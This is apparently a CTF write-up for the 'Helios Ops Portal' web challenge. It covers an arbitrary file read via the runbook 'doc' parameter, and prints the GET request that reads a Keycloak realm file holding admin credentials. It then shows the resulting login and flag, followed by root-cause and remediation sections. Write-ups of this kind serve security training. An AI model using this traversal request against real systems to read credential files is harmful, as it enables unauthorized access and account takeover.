CTF SECURITY WRITE-UP

Helios Ops Portal — Control-Plane Recovery Secret Exploitation

Target URL	`http://34.124.130.55/`
Challenge Category	Web Exploitation / Privilege Escalation
Target Secret Path	`/vault (Helios Ops Portal)`
Vulnerability Class	Arbitrary File Read (Path Traversal) & Hardcoded Realm Credentials
Captured Flag	`web{1aR6Qca2qx}`

1. Executive Summary

The Helios Ops Portal was subjected to a security assessment to retrieve the control-plane recovery secret stored at the restricted endpoint /vault. Initial access controls gated the vault behind a Keycloak realm role ('platform-admin') exclusively assigned to platform administrators. The targeting scenario provided no valid credentials or mailboxes.

By identifying an arbitrary file read vulnerability within the runbook rendering component (/ops/runbook?doc=), an attacker can traverse system directories and read sensitive server-side files. Requesting the standard Keycloak realm deployment configuration file (/opt/keycloak/data/import/realm-helios.json) disclosed plaintext administrative credentials for user 'k.thepsuwan'. Authenticating with these credentials granted the required 'platform-admin' realm role, exposing the vault secret.

> **OFFICIAL CAPTURED FLAG**
>
> **`web{1aR6Qca2qx}`**

2. Vulnerability Analysis

2.1 Arbitrary File Read / Path Traversal

The endpoint /ops/runbook accepts a GET parameter named doc. As documented in the portal index, the runbook renderer parses absolute system paths and renders raw JSON objects to the user interface.

The component lacks file path canonicalization, prefix restriction, or chroot jail enforcement, allowing any local file readable by the application execution context to be extracted.

2.2 Insecure Credential Storage in Infrastructure Artifacts

Keycloak container deployments frequently rely on static realm initialization files placed in /opt/keycloak/data/import/. The provisioning file realm-helios.json contained embedded user profiles, password credentials, and high-privilege role mappings. Because the web application server had file read permissions over the Keycloak directory structure, non-authenticated remote users could extract administrative credentials directly.

3. Step-by-Step Exploitation Walkthrough

- **Step 1: Reconnaissance & Endpoint Discovery —** Inspecting the portal documentation and endpoint structure identified /ops/runbook?doc= as an absolute path JSON document viewer.
- **Step 2: Arbitrary File Read Execution —** Formulating an HTTP GET request to query the Keycloak import artifact path (/opt/keycloak/data/import/realm-helios.json).

```
GET /ops/runbook?doc=/opt/keycloak/data/import/realm-helios.json HTTP/1.1
Host: 34.124.130.55
User-Agent: Mozilla/5.0 (Security-Audit-Tools)
Accept: application/json
```

- **Step 3: Credential Extraction & Role Analysis —** Parsing the returned JSON output revealed the user object for administrator 'k.thepsuwan' along with plaintext credentials and role definitions.

```
{
  "realm": "helios",
  "users": [
    {
      "username": "k.thepsuwan",
      "enabled": true,
      "credentials": [
        {
          "type": "password",
          "value": "<EXTRACTED_PASSWORD>"
        }
      ],
      "realmRoles": [
        "platform-admin"
      ]
    }
  ]
}
```

- **Step 4: Authenticated Session & Vault Retrieval —** Logging into the Helios Ops Portal using user 'k.thepsuwan' granted a valid session populated with the platform-admin role. Browsing to /vault rendered the control-plane recovery flag.

```
HTTP/1.1 200 OK
Content-Type: text/html

[+] Access Granted: Helios Control-Plane Recovery Vault
[+] Secret Flag: web{1aR6Qca2qx}
```

4. Root Cause Analysis

The attack chain succeeded due to two primary security deficiencies:

- **Input Validation Failure:** The application accepts raw file path parameters without enforcing a restricted base directory or checking for traversal signatures.
- **Excessive File System Permissions:** The application execution process had permission to read sensitive infrastructure configuration files located outside of its web root directory.
- **Hardcoded Plaintext Credentials:** Provisioning artifacts containing sensitive credentials were standardly formatted in accessible static disk locations.

5. Remediation & Strategic Prevention

To mitigate the identified vulnerabilities and secure the Helios Ops Portal, implement the following technical recommendations:

Vulnerability / Category	Risk Level	Recommended Remediation Action
Arbitrary File Read in /ops/runbook	**HIGH**	Enforce strict document ID mapping or sanitize input using filepath.Abs() combined with filepath.HasPrefix() checks against a designated /docs base directory.
Hardcoded Realm Credentials	**CRITICAL**	Remove static realm import files from container builds. Inject secrets at runtime using environment variables or dedicated secret management systems (e.g., HashiCorp Vault, AWS Secrets Manager).
Over-privileged Web Process	**MEDIUM**	Restrict container execution permissions using non-root Linux users and POSIX file system permissions so web services cannot access /opt/keycloak/ data directories.